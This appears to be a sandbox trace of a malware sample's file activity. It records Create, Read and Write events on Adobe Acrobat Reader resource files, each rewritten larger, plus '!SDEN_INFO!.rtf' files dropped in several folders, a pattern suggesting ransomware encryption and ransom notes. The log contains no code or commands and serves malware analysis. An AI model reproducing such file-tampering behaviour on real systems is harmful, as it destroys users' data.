File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\ui-strings.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\plugin.js, size = 3205, size_out = 3205	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\plugin.js, size = 4621	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\ui-strings.js, size = 1115, size_out = 1115	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\ui-strings.js, size = 2531	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\ui-strings.js, size = 1151, size_out = 1151	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\ui-strings.js, size = 2567	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\ui-strings.js, size = 1135, size_out = 1135	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\ui-strings.js, size = 2551	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\main-selector.css, size = 1227, size_out = 1227	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\!SDEN_INFO!.rtf, size = 2643	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\!SDEN_INFO!.rtf, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\!SDEN_INFO!.rtf, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\ui-strings.js, size = 1234, size_out = 1234	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\ui-strings.js, size = 2650	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\ui-strings.js, size = 1206, size_out = 1206	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\ui-strings.js, size = 2622	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\ui-strings.js, size = 1237, size_out = 1237	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\tr-tr\ui-strings.js, size = 2653	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main.css, size = 3313, size_out = 3313	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\css\main.css, size = 4729	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\ui-strings.js, size = 1377, size_out = 1377	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\fi-fi\ui-strings.js, size = 2793	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\ui-strings.js, size = 1366, size_out = 1366	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\pl-pl\ui-strings.js, size = 2782	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\ui-strings.js, size = 1593, size_out = 1593	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\uk-ua\ui-strings.js, size = 3009	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\images\digsig_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\es-es\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\nb-no\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\tr-tr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\plugin.js, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover_2x.png, size = 552, size_out = 552	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\themes\dark\rhp_world_icon_hover_2x.png, size = 1968	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fi-fi\ui-strings.js, size = 1277, size_out = 1277	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\fi-fi\ui-strings.js, size = 2693	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\pl-pl\ui-strings.js, size = 1304, size_out = 1304	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\pl-pl\ui-strings.js, size = 2720	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\uk-ua\ui-strings.js, size = 1431, size_out = 1431	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\uk-ua\ui-strings.js, size = 2847	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\example_icons.png, size = 683, size_out = 683	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\example_icons.png, size = 2099	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fi-fi\ui-strings.js, size = 1168, size_out = 1168	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\fi-fi\ui-strings.js, size = 2584	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pl-pl\ui-strings.js, size = 1200, size_out = 1200	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\pl-pl\ui-strings.js, size = 2616	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\uk-ua\ui-strings.js, size = 1237, size_out = 1237	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\uk-ua\ui-strings.js, size = 2653	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_fw.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_fw.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_fw.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\core_icons_fw.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_fw.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_fw.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_fw.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\themes\dark\core_icons_fw.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_delete@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_delete@1x.png, size = 355, size_out = 355	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\A12_delete@1x.png, size = 1771	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_delete@1x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_delete@1x.png, size = 355, size_out = 355	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\A12_delete@1x.png, size = 1771	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\circle_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\circle_2x.png, size = 1499, size_out = 1499	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\eu-es\ui-strings.js, size = 2915	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle_2x.png, size = 1499, size_out = 1499	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle_2x.png, size = 2915	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\x_2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\x_2x.png, size = 1000, size_out = 1000	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\x_2x.png, size = 2416	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fr-fr\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fr-fr\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\fr-fr\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
